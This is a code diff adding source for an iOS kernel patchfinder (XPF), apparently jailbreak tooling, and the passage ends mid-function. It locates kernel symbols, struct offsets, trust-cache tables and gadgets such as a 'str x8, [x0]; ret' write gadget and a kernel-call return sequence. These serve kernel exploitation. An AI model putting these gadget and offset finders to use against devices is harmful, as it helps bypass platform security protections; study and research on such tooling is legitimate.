uint32_t ldrLitAnyInst = 0, ldrLitAnyMask = 0; + arm64_gen_ldr_lit(ARM64_REG_ANY, OPT_UINT64_NONE, OPT_UINT64_NONE, &ldrLitAnyInst, &ldrLitAnyMask); + + __block uint64_t developer_mode_candidate = 0; + uint64_t ldrLitAddr = pfsec_find_prev_inst(gXPF.kernelTextSection, afterRefAddr, 25, ldrLitAnyInst, ldrLitAnyMask); + uint64_t adrpAddAddr = pfsec_find_prev_inst(gXPF.kernelTextSection, afterRefAddr, 50, adrpAnyInst, adrpAnyMask); + XPF_ASSERT(ldrLitAddr || adrpAddAddr); + // Depending on the version, developer_mode_storage can either be loaded via adrp+add+ldrb or just via a literal ldr + + // Literal ldr: + // arm64 16.4, 16.5, 16.6, potentially later versions aswell + // adrp+add: + // everything else + + // If we find an adrp+add closer than an ldr literal, we need to take that instead + // This is because there is a false positive ldr literal on 16.0 arm64 right before the adrp+add + if (!adrpAddAddr || ldrLitAddr > adrpAddAddr) { + arm64_dec_ldr_lit(pfsec_read32(gXPF.kernelTextSection, ldrLitAddr), ldrLitAddr, &developer_mode_candidate, NULL); + } + else { + developer_mode_candidate = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddAddr + 4); + } + + __block uint64_t developer_mode_enabled = false; + if (pfsec_contains_vmaddr(gXPF.kernelDataConstSection, developer_mode_candidate)) { + // developer_mode_candidate is developer_mode_enabled + developer_mode_enabled = developer_mode_candidate; + } + else { + // developer_mode_candidate is developer_mode_storage + PFXrefMetric *storageXref = pfmetric_xref_init(developer_mode_candidate, XREF_TYPE_MASK_POINTER); + pfmetric_run(gXPF.kernelDataConstSection, storageXref, ^(uint64_t vmaddr, bool *stop) { + developer_mode_enabled = vmaddr; + *stop = true; + }); + pfmetric_free(storageXref); + } + + return developer_mode_enabled; +} + +static uint64_t xpf_find_str_x8_x0_gadget(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0x00000000, // str x8, [x0] + 0xd65f03c0 // ret + }; + arm64_gen_str_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_X(8), ARM64_REG_X(0), OPT_UINT64(0), &inst[0], NULL); + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t str_x8_x0_gadget = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + str_x8_x0_gadget = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return str_x8_x0_gadget; +} + +static uint64_t xpf_find_exception_return(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0xd5034fdf, // msr daifset, #0xf + 0xd538d083, // mrs x3, tpidr_el1 + 0x910002bf // mov sp, x21 + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t exception_return = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop){ + exception_return = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return exception_return; +} + +static uint64_t xpf_find_kcall_return(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0xf9000260, // str x0, [x19] + 0xa9417bfd, // ldp x29, x30, [sp, #0x10] + 0xa8c24ff4, // ldp x20, x19, [sp], #0x20 + 0xd65f03c0, // ret + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t kcall_return = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop){ + kcall_return = vmaddr; + *stop = true; + }); + return kcall_return; +} + +static uint64_t xpf_find_thread_machine_CpuDatap(void) +{ + __block uint64_t stringAddr = 0; + PFStringMetric *stringMetric = pfmetric_string_init("kernel_debug_early_end() not call on boot processor @%s:%d"); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + + if (!stringAddr) { + stringMetric = pfmetric_string_init("\"kernel_debug_early_end() not call on boot processor\""); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + } + + XPF_ASSERT(stringAddr); + + __block uint64_t panicBranch = 0; + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + if (strcmp(gXPF.darwinVersion, "21.0.0") < 0) { + // On iOS 14 the branch xref is to the adrp before the panic call + panicBranch = vmaddr - (sizeof(uint32_t)); + } else { + panicBranch = vmaddr - (5 * sizeof(uint32_t)); + } + *stop = true; + }); + pfmetric_free(xrefMetric); + + XPF_ASSERT(panicBranch); + + __block uint64_t machine_CpuDatap = 0; + PFXrefMetric *panicBranchXrefMetric = pfmetric_xref_init(panicBranch, XREF_TYPE_MASK_JUMP); + pfmetric_run(gXPF.kernelTextSection, panicBranchXrefMetric, ^(uint64_t vmaddr, bool *stop) { + uint64_t msrTPIDR_EL1Addr = pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 50, 0xd538d080, 0xffffffe0); + arm64_register threadReg = ARM64_REG_X(pfsec_read32(gXPF.kernelTextSection, msrTPIDR_EL1Addr) & 0x1f); + + uint32_t ldrInst = 0, ldrMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, threadReg, OPT_UINT64_NONE, &ldrInst, &ldrMask); + + uint64_t ldr1Addr = pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 50, ldrInst, ldrMask); + uint64_t ldr2Addr = pfsec_find_prev_inst(gXPF.kernelTextSection, ldr1Addr, 50, ldrInst, ldrMask); + + uint32_t readLdrInst = pfsec_read32(gXPF.kernelTextSection, ldr1Addr); + arm64_dec_ldr_imm(readLdrInst, NULL, NULL, &machine_CpuDatap, NULL, NULL); + if (machine_CpuDatap == 0) { + readLdrInst = pfsec_read32(gXPF.kernelTextSection, ldr2Addr); + arm64_dec_ldr_imm(readLdrInst, NULL, NULL, &machine_CpuDatap, NULL, NULL); + } + *stop = true; + }); + pfmetric_free(panicBranchXrefMetric); + + return machine_CpuDatap; +} + +static uint64_t xpf_find_thread_machine_kstackptr(void) +{ + __block uint64_t stringAddr = 0; + PFStringMetric *stringMetric = pfmetric_string_init("Invalid kernel stack pointer (probable corruption)."); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(stringAddr); + + __block uint64_t machine_kstackptr = 0; + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + uint64_t msrTPIDR_EL1Addr = pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 50, 0xd538d080, 0xffffffe0); + arm64_register threadReg = ARM64_REG_X(pfsec_read32(gXPF.kernelTextSection, msrTPIDR_EL1Addr) & 0x1f); + + uint32_t ldrInst = 0, ldrMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, threadReg, OPT_UINT64_NONE, &ldrInst, &ldrMask); + + uint64_t ldrAddr = pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 50, ldrInst, ldrMask); + uint32_t readLdrInst = pfsec_read32(gXPF.kernelTextSection, ldrAddr); + arm64_dec_ldr_imm(readLdrInst, NULL, NULL, &machine_kstackptr, NULL, NULL); + + *stop = true; + }); + pfmetric_free(xrefMetric); + + return machine_kstackptr; +} + +static uint64_t xpf_find_thread_machine_contextData(void) +{ + uint32_t inst[3] = { + 0xd5184100, // msr sp_el0, x0 + 0xa8c107e0, // ldp x0, x1, [sp], #0x10 + 0xd50040bf, // msr spsel, #0 + }; + uint32_t mask[3] = { + 0xffffffff, + 0xffffffff, + 0xffffffff, + }; + + __block uint64_t machine_contextData = 0; + PFPatternMetric *patternMetric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, patternMetric, ^(uint64_t vmaddr, bool *stop) { + uint16_t imm = 0; + arm64_dec_add_imm(pfsec_read32(gXPF.kernelTextSection, vmaddr - 12), NULL, NULL, &imm); + machine_contextData = imm; + *stop = true; + }); + pfmetric_free(patternMetric); + + return machine_contextData; +} + +// actually, function finding name is `_LowResetVectorBase` +static uint64_t xpf_find_iorvbar(void) +{ + uint32_t inst[1] = { + 0xd510109f, // msr OSLAR_EL1, xzr + }; + uint32_t mask[1] = { + 0xffffffff, + }; + + __block uint64_t iorvbar = 0; + PFPatternMetric *patternMetric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, patternMetric, ^(uint64_t vmaddr, bool *stop) { + // IORVBAR is always page-aligned, and the instruction we look for is always at an offset of +0x400 + if ((vmaddr & 0x3FFF) == 0x400) { + iorvbar = vmaddr & ~0x3FFF; + *stop = true; + } + }); + return iorvbar; +} + +void xpf_common_init(void) +{ + xpf_item_register("kernelSymbol.start_first_cpu", xpf_find_start_first_cpu, NULL); + xpf_item_register("kernelConstant.kernel_el", xpf_find_kernel_el, NULL); + xpf_item_register("kernelSymbol.cpu_ttep", xpf_find_cpu_ttep, NULL); + xpf_item_register("kernelSymbol.fatal_error_fmt", xpf_find_fatal_error_fmt, NULL); + xpf_item_register("kernelSymbol.kalloc_data_external", xpf_find_kalloc_data_external, NULL); + xpf_item_register("kernelSymbol.kfree_data_external", xpf_find_kfree_data_external, NULL); + xpf_item_register("kernelSymbol.allproc", xpf_find_allproc, NULL); + + if(gXPF.isSPTMDevice) + xpf_item_register("kernelSymbol.arm_vm_init", xpf_sptm_find_arm_vm_init, NULL); + else + xpf_item_register("kernelSymbol.arm_vm_init", xpf_find_arm_vm_init, NULL); + + xpf_item_register("kernelSymbol.phystokv", xpf_find_phystokv, NULL); + + xpf_item_register("kernelSymbol.gVirtBase", xpf_find_arm_vm_init_reference, (void*)(uint32_t)1); + xpf_item_register("kernelSymbol.gPhysBase", xpf_find_arm_vm_init_reference, (void*)(uint32_t)2); + xpf_item_register("kernelSymbol.gPhysSize", xpf_find_arm_vm_init_reference, (void*)(uint32_t)5); + xpf_item_register("kernelSymbol.ptov_table", xpf_find_ptov_table, NULL); + + xpf_item_register("kernelSymbol.pmap_bootstrap", xpf_find_pmap_bootstrap, NULL); + xpf_item_register("kernelSymbol.pointer_mask", xpf_find_pointer_mask_symbol, NULL); + xpf_item_register("kernelConstant.pointer_mask", xpf_find_pointer_mask, NULL); + xpf_item_register("kernelConstant.T1SZ_BOOT", xpf_find_T1SZ_BOOT, NULL); + xpf_item_register("kernelConstant.ARM_TT_L1_INDEX_MASK", xpf_find_ARM_TT_L1_INDEX_MASK, NULL); + + xpf_item_register("kernelConstant.PT_INDEX_MAX", xpf_find_PT_INDEX_MAX, NULL); + + xpf_item_register("kernelSymbol.vm_page_array_beginning_addr", xpf_find_vm_reference, (void *)(uint32_t)1); + xpf_item_register("kernelSymbol.vm_page_array_ending_addr", xpf_find_vm_reference, (void *)(uint32_t)2); + xpf_item_register("kernelSymbol.vm_first_phys_ppnum", xpf_find_vm_reference, (void *)(uint32_t)3); + + xpf_item_register("kernelSymbol.task_crashinfo_release_ref", xpf_find_task_crashinfo_release_ref, NULL); + xpf_item_register("kernelSymbol.task_collect_crash_info", xpf_find_task_collect_crash_info, NULL); + xpf_item_register("kernelStruct.task.itk_space", xpf_find_task_itk_space, NULL); + + xpf_item_register("kernelStruct.vm_map.pmap", xpf_find_vm_map_pmap, NULL); + xpf_item_register("kernelStruct.proc.struct_size", xpf_find_proc_struct_size, NULL); + + xpf_item_register("kernelSymbol.perfmon_dev_open", xpf_find_perfmon_dev_open, NULL); + xpf_item_register("kernelSymbol.perfmon_devices", xpf_find_perfmon_devices, NULL); + xpf_item_register("kernelSymbol.vn_kqfilter", xpf_find_vn_kqfilter, NULL); + xpf_item_register("kernelSymbol.cdevsw", xpf_find_cdevsw, NULL); + + xpf_item_register("kernelSymbol.proc_apply_sandbox", xpf_find_proc_apply_sandbox, NULL); + xpf_item_register("kernelSymbol.mac_label_set", xpf_find_mac_label_set, NULL); + + xpf_item_register("kernelSymbol.proc_get_syscall_filter_mask_size", xpf_find_proc_get_syscall_filter_mask_size, NULL); + xpf_item_register("kernelConstant.nsysent", xpf_find_nsysent, NULL); + xpf_item_register("kernelConstant.mach_trap_count", xpf_find_mach_trap_count, NULL); + xpf_item_register("kernelSymbol.mach_kobj_count", xpf_find_mach_kobj_count, NULL); + + xpf_item_register("kernelSymbol.developer_mode_enabled", xpf_find_developer_mode_enabled, NULL); + + xpf_item_register("kernelGadget.str_x8_x0", xpf_find_str_x8_x0_gadget, NULL); + xpf_item_register("kernelSymbol.exception_return", xpf_find_exception_return, NULL); + xpf_item_register("kernelGadget.kcall_return", xpf_find_kcall_return, NULL); + + xpf_item_register("kernelStruct.thread.machine_CpuDatap", xpf_find_thread_machine_CpuDatap, NULL); + xpf_item_register("kernelStruct.thread.machine_kstackptr", xpf_find_thread_machine_kstackptr, NULL); + xpf_item_register("kernelStruct.thread.machine_contextData", xpf_find_thread_machine_contextData, NULL); + + if(!gXPF.isSPTMDevice) + xpf_item_register("kernelSymbol.iorvbar", xpf_find_iorvbar, NULL); +} diff --git a/XPF/src/common.h b/XPF/src/common.h new file mode 100644 index 0000000..3b3fddb --- /dev/null +++ b/XPF/src/common.h @@ -0,0 +1 @@ +void xpf_common_init(void); \ No newline at end of file diff --git a/XPF/src/decompress.c b/XPF/src/decompress.c new file mode 100644 index 0000000..2b33f87 --- /dev/null +++ b/XPF/src/decompress.c @@ -0,0 +1,132 @@ +// Taken from golb: https://github.com/0x7ff/golb +// Licensed under Apache 2.0 +// See decompress.LICENSE + +#include "decompress.h" +#include +#include +#include + +#define DER_INT (0x2U) +#define DER_SEQ (0x30U) +#define LZSS_F (18) +#define LZSS_N (4096) +#define LZSS_THRESHOLD (2) +#define KCOMP_HDR_PAD_SZ (0x16C) +#define DER_IA5_STR (0x16U) +#define DER_OCTET_STR (0x4U) +#define KCOMP_HDR_MAGIC (0x636F6D70U) +#define KCOMP_HDR_TYPE_LZSS (0x6C7A7373U) + +const uint8_t * +der_decode(uint8_t tag, const uint8_t *der, const uint8_t *der_end, size_t *out_len) { + size_t der_len; + + if(der_end - der > 2 && tag == *der++) { + if(((der_len = *der++) & 0x80U) != 0) { + *out_len = 0; + if((der_len &= 0x7FU) <= sizeof(*out_len) && (size_t)(der_end - der) >= der_len) { + while(der_len-- != 0) { + *out_len = (*out_len << 8U) | *der++; + } + } + } else { + *out_len = der_len; + } + if(*out_len != 0 && (size_t)(der_end - der) >= *out_len) { + return der; + } + } + return NULL; +} + +const uint8_t * +der_decode_seq(const uint8_t *der, const uint8_t *der_end, const uint8_t **seq_end) { + size_t der_len; + + if((der = der_decode(DER_SEQ, der, der_end, &der_len)) != NULL) { + *seq_end = der + der_len; + } + return der; +} + +const uint8_t * +der_decode_uint64(const uint8_t *der, const uint8_t *der_end, uint64_t *r) { + size_t der_len; + + if((der = der_decode(DER_INT, der, der_end, &der_len)) != NULL && (*der & 0x80U) == 0 && (der_len <= sizeof(*r) || (--der_len == sizeof(*r) && *der++ == 0))) { + *r = 0; + while(der_len-- != 0) { + *r = (*r << 8U) | *der++; + } + return der; + } + return NULL; +} + +size_t +decompress_lzss(const uint8_t *src, size_t src_len, uint8_t *dst, size_t dst_len) { + const uint8_t *src_end = src + src_len, *dst_start = dst, *dst_end = dst + dst_len; + uint16_t i, r = LZSS_N - LZSS_F, flags = 0; + uint8_t text_buf[LZSS_N + LZSS_F - 1], j; + + memset(text_buf, ' ', r); + while(src != src_end && dst != dst_end) { + if(((flags >>= 1U) & 0x100U) == 0) { + flags = *src++ | 0xFF00U; + if(src == src_end) { + break; + } + } + if((flags & 1U) != 0) { + text_buf[r++] = *dst++ = *src++; + r &= LZSS_N - 1U; + } else { + i = *src++; + if(src == src_end) { + break; + } + j = *src++; + i |= (j & 0xF0U) << 4U; + j = (j & 0xFU) + LZSS_THRESHOLD; + do { + *dst++ = text_buf[r++] = text_buf[i++ & (LZSS_N - 1U)]; + r &= LZSS_N - 1U; + } while(j-- != 0 && dst != dst_end); + } + } + return (size_t)(dst - dst_start); +} + +void * +kdecompress(const void *src, size_t src_len, size_t *dst_len) { + const uint8_t *der, *octet, *der_end, *src_end = (const uint8_t *)src + src_len; + struct { + uint32_t magic, type, adler32, uncomp_sz, comp_sz; + uint8_t pad[KCOMP_HDR_PAD_SZ]; + } kcomp_hdr; + size_t der_len; + uint64_t r; + void *dst; + + if((der = der_decode_seq(src, src_end, &der_end)) != NULL && (der = der_decode(DER_IA5_STR, der, der_end, &der_len)) != NULL && der_len == 4 && (memcmp(der, "IMG4", der_len) != 0 || ((der = der_decode_seq(der + der_len, src_end, &der_end)) != NULL && (der = der_decode(DER_IA5_STR, der, der_end, &der_len)) != NULL && der_len == 4)) && memcmp(der, "IM4P", der_len) == 0 && (der = der_decode(DER_IA5_STR, der + der_len, der_end, &der_len)) != NULL && der_len == 4 && memcmp(der, "krnl", der_len) == 0 && (der = der_decode(DER_IA5_STR, der + der_len, der_end, &der_len)) != NULL && (der = der_decode(DER_OCTET_STR, der + der_len, der_end, &der_len)) != NULL && der_len > sizeof(kcomp_hdr)) { + octet = der; + memcpy(&kcomp_hdr, octet, sizeof(kcomp_hdr)); + if(kcomp_hdr.magic == __builtin_bswap32(KCOMP_HDR_MAGIC)) { + if(kcomp_hdr.type == __builtin_bswap32(KCOMP_HDR_TYPE_LZSS) && (kcomp_hdr.comp_sz = __builtin_bswap32(kcomp_hdr.comp_sz)) <= der_len - sizeof(kcomp_hdr) && (kcomp_hdr.uncomp_sz = __builtin_bswap32(kcomp_hdr.uncomp_sz)) != 0 && (dst = malloc(kcomp_hdr.uncomp_sz)) != NULL) { + if(decompress_lzss(octet + sizeof(kcomp_hdr), kcomp_hdr.comp_sz, dst, kcomp_hdr.uncomp_sz) == kcomp_hdr.uncomp_sz) { + *dst_len = kcomp_hdr.uncomp_sz; + return dst; + } + free(dst); + } + } else if((der = der_decode_seq(der + der_len, src_end, &der_end)) != NULL && (der = der_decode_uint64(der, der_end, &r)) != NULL && r == 1 && der_decode_uint64(der, der_end, &r) != NULL && r != 0 && (dst = malloc(r)) != NULL) { + if(compression_decode_buffer(dst, r, octet, der_len, NULL, COMPRESSION_LZFSE) == r) { + *dst_len = r; + return dst; + } + free(dst); + } + } + return NULL; +} diff --git a/XPF/src/decompress.h b/XPF/src/decompress.h new file mode 100644 index 0000000..9338191 --- /dev/null +++ b/XPF/src/decompress.h @@ -0,0 +1,3 @@ +#include +#include +void *kdecompress(const void *src, size_t src_len, size_t *dst_len); \ No newline at end of file diff --git a/XPF/src/non_ppl.c b/XPF/src/non_ppl.c new file mode 100644 index 0000000..a9f2711 --- /dev/null +++ b/XPF/src/non_ppl.c @@ -0,0 +1,234 @@ +#include "choma/PatchFinder.h" +#include "xpf.h" + +static uint64_t xpf_find_pmap_image4_trust_caches(void) +{ + // search pmap_is_trust_cache_loaded + uint32_t inst[] = { + 0x39400400, // ldrb wN, [xM, #0x1] + 0x39401400, // ldrb wN, [xM, #0x5] + 0x6b00001f, // cmp wN, wM + 0x54000001, // b.ne + 0x39400800, // ldrb wN, [xM, #0x2] + 0x39401800, // ldrb wN, [xM, #0x6] + 0x6b00001f, // cmp wN, wM + 0x54000001, // b.ne + }; + uint32_t mask[] = { + 0xff40fc00, + 0xff40fc00, + 0xffe0fc1f, + 0xff00001f, + 0xff40fc00, + 0xff40fc00, + 0xffe0fc1f, + 0xff00001f, + }; + + PFPatternMetric *metric = pfmetric_pattern_init(&inst, &mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t found = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + found = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + XPF_ASSERT(found); + + uint32_t adrpInst = 0, adrpInstAny = 0; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_ANY, &adrpInst, &adrpInstAny); + uint64_t adrpAddr = pfsec_find_prev_inst(gXPF.kernelTextSection, found, 25, adrpInst, adrpInstAny); + XPF_ASSERT(adrpAddr); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr + 4); +} + +static uint64_t xpf_find_trust_cache_rt(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("unexpected size for TrustCache property: %u != %zu @%s:%d"); + __block uint64_t non_ppl_trust_cache_rt_stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + non_ppl_trust_cache_rt_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(non_ppl_trust_cache_rt_stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(non_ppl_trust_cache_rt_stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t non_ppl_trust_cache_rt = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + non_ppl_trust_cache_rt = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + XPF_ASSERT(non_ppl_trust_cache_rt); + + // 2nd adrp + uint32_t adrpInst = 0, adrpInstAny = 0; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_ANY, &adrpInst, &adrpInstAny); + + uint64_t toCheck = non_ppl_trust_cache_rt; + uint64_t adrpAddr = 0; + for (int i = 0; i < 2; i++) { + adrpAddr = pfsec_find_next_inst(gXPF.kernelTextSection, toCheck, 80, adrpInst, adrpInstAny); + toCheck = adrpAddr + 4; + } + XPF_ASSERT(adrpAddr); + + return pfsec_read_pointer(gXPF.kernelDataConstSection, pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr + 4)); +} + +static uint64_t xpf_find_pmap_tt_deallocate(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("pmap_tt_deallocate(): ptdp %p, count %d @%s:%d"); + __block uint64_t pmap_tt_deallocate_stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + pmap_tt_deallocate_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + + if (!pmap_tt_deallocate_stringAddr) { + stringMetric = pfmetric_string_init("\"pmap_tt_deallocate(): ptdp %p, count %d\\n\""); + pmap_tt_deallocate_stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_tt_deallocate_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + } + + XPF_ASSERT(pmap_tt_deallocate_stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(pmap_tt_deallocate_stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t pmap_tt_deallocate = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_tt_deallocate = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + + return pmap_tt_deallocate; +} + +static uint64_t xpf_find_pmap_tt_deallocate_reference(uint32_t n) +{ + uint64_t pmap_tt_deallocate = xpf_item_resolve("kernelSymbol.pmap_tt_deallocate"); + XPF_ASSERT(pmap_tt_deallocate); + + uint32_t blAny = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAny, &blAnyMask); + + uint64_t toCheck = pmap_tt_deallocate; + uint64_t blAddr = 0; + for (int i = 0; i < 2; i++) { + blAddr = pfsec_find_next_inst(gXPF.kernelTextSection, toCheck, 80, blAny, blAnyMask); + toCheck = blAddr - 12; + } + XPF_ASSERT(blAddr); + + uint32_t adrpInst = 0, adrpInstAny = 0; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_ANY, &adrpInst, &adrpInstAny); + + toCheck = blAddr; + uint64_t adrpAddr = 0; + for (int i = 0; i < n; i++) { + adrpAddr = pfsec_find_next_inst(gXPF.kernelTextSection, toCheck, 80, adrpInst, adrpInstAny); + toCheck = adrpAddr + 4; + } + XPF_ASSERT(adrpAddr); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr + 4); +} + +static uint64_t xpf_find_pmap_enter_options_addr(void) +{ + __block uint64_t stringAddr = 0; + + PFStringMetric *stringMetric = pfmetric_string_init("pmap_enter_options_internal"); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + + if (!stringAddr) { + stringMetric = pfmetric_string_init("\"pmap_enter_options() pmap %p v 0x%llx\\n\""); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + } + XPF_ASSERT(stringAddr); + + __block uint64_t pmap_enter_options_internal = 0; + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_enter_options_internal = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + + // On arm64, pmap_enter_options_internal is equivalent to pmap_enter_options_addr + return pmap_enter_options_internal; +} + +static uint64_t xpf_find_pmap_remove_options(void) +{ + __block uint64_t stringAddr = 0; + + PFStringMetric *stringMetric = pfmetric_string_init("pmap_remove_options_internal"); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(stringAddr); + + __block uint64_t pmap_remove_options_internal = 0; + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_remove_options_internal = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + + // On arm64, pmap_remove_options_internal is equivalent to pmap_remove_options + return pmap_remove_options_internal; +} + +// TODO +static uint64_t xpf_find_vm_last_phys(void) +{ + return 0xFFFFFF8000000000; +} + +static uint64_t xpf_find_pp_attr_table(void) +{ + return 0xFFFFFF8000000000; +} + +void xpf_non_ppl_init(void) +{ + if (!gXPF.kernelIsArm64e) { + bool iOS14 = strcmp(gXPF.darwinVersion, "21.0.0") < 0; + xpf_item_register("kernelSymbol.pmap_tt_deallocate", xpf_find_pmap_tt_deallocate, NULL); + xpf_item_register("kernelSymbol.vm_first_phys", xpf_find_pmap_tt_deallocate_reference, iOS14 ? (void*)(uint32_t)2 : (void*)(uint32_t)1); + xpf_item_register("kernelSymbol.pv_head_table", xpf_find_pmap_tt_deallocate_reference, iOS14 ? (void*)(uint32_t)1 : (void*)(uint32_t)2); + + xpf_item_register("kernelSymbol.vm_last_phys", xpf_find_vm_last_phys, NULL); + xpf_item_register("kernelSymbol.pp_attr_table", xpf_find_pp_attr_table, NULL); + + xpf_item_register("kernelSymbol.pmap_enter_options_addr", xpf_find_pmap_enter_options_addr, NULL); + xpf_item_register("kernelSymbol.pmap_remove_options", xpf_find_pmap_remove_options, NULL); + + if (strcmp(gXPF.darwinVersion, "22.0.0") >= 0) { + // iOS >=16 + xpf_item_register("kernelSymbol.ppl_trust_cache_rt", xpf_find_trust_cache_rt, NULL); + } + else { + // iOS <=15 + xpf_item_register("kernelSymbol.pmap_image4_trust_caches", xpf_find_pmap_image4_trust_caches, NULL); + } + } +} diff --git a/XPF/src/non_ppl.h b/XPF/src/non_ppl.h new file mode 100644 index 0000000..442f92b --- /dev/null +++ b/XPF/src/non_ppl.h @@ -0,0 +1 @@ +void xpf_non_ppl_init(void); \ No newline at end of file diff --git a/XPF/src/ppl.c b/XPF/src/ppl.c new file mode 100644 index 0000000..369b510 --- /dev/null +++ b/XPF/src/ppl.c @@ -0,0 +1,577 @@ +#import "ppl.h" +#import "xpf.h" +#include +#include + +static uint64_t xpf_find_ppl_dispatch_section(void) +{ + uint32_t bAny = 0, bAnyMask = 0, movX15Any = 0, movX15AnyMask = 0; + arm64_gen_b_l(OPT_BOOL(false), OPT_UINT64_NONE, OPT_UINT64_NONE, &bAny, &bAnyMask); + arm64_gen_mov_imm('z', ARM64_REG_X(15), OPT_UINT64_NONE, OPT_UINT64(0), &movX15Any, &movX15AnyMask); + + uint32_t pplCallerInst[] = { + movX15Any, + bAny, + movX15Any, + bAny, + }; + uint32_t pplCallerMask[] = { + movX15AnyMask, + bAnyMask, + movX15AnyMask, + bAnyMask, + }; + + __block uint64_t ppl_dispatch_section = 0; + PFPatternMetric *metric = pfmetric_pattern_init(pplCallerInst,pplCallerMask,sizeof(pplCallerInst), 